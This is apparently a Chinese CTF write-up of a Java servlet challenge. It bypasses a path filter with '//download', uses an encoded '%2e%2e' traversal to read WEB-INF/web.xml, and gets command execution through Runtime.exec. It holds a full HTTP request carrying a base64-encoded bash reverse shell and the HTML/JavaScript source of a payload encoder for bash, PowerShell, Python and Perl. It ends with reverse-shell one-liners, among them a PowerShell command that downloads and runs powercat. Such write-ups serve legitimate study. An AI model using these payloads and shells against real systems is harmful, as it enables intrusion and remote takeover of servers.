直接通过 getRequestURI() 得到的 url 路径存在一些问题, 比如不会自动 urldecode, 也不会进行标准化 (去除多余的 /
和 ..
)
这里 ..
被过滤了, 所以直接访问 //download
就能绕过, 后面目录穿越下载文件的时候可以将 ..
进行一次 url 编码
//download?filename=%2e%2e/WEB-INF/web.xml
POST /You_Find_This_Evil_Servlet_a76f02cb8422 HTTP/1.1 Host: 127.0.0.1:50042 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 143
Evil_Cmd_Arguments_fe37627fed78=bash+-c+{echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC9ob3N0LmRvY2tlci5pbnRlcm5hbC80NDQ0IDA%2bJjE%3d}|{base64,-d}|{bash,-i}
|
反弹shell
这里首先得注意传入 Runtime.exec 的命令需要进行一次编码
归根结底是因为 java.lang.Runtime#exec 中 StringTokenizer 会将空格进行分隔,导致原本命令执行的语义发生了变化,利用数组和编码可以成功执行命令。
<!DOCTYPE html> <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>java.lang.Runtime.exec() Payload</title>
</head><body><h1>java.lang.Runtime.exec() Payload</h1> <input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label> <input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label> <input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label> <input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label><p></p> <p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type input here..."></textarea> <textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p> <script> var taInput = document.querySelector('textarea#input'); var taOutput = document.querySelector('textarea#output');
function processInput() { var option = document.querySelector('input[name="option"]:checked').value;
switch (option) { case 'bash': taInput.placeholder = 'Type Bash here...' taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}'; break; case 'powershell': taInput.placeholder = 'Type PowerShell here...' poshInput = '' for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); } taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput); break; case 'python': taInput.placeholder = 'Type Python here...' taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))"; break; case 'perl': taInput.placeholder = 'Type Perl here...' taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))"; break; default: taOutput.value = '' }
if (!taInput.value) taOutput.value = ''; }
taInput.addEventListener('input', processInput, false); </script>
<b>Bash反弹命令:</b> <p style="color:red;">bash -i >& /dev/tcp/IP/端口 0>&1</p> <br> <b>PowerShell反弹命令:</b> <p style="color:red;">powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c IP -p 端口 -e cmd</p> <br> <br> <br> </body></html>
|
可以自己搭建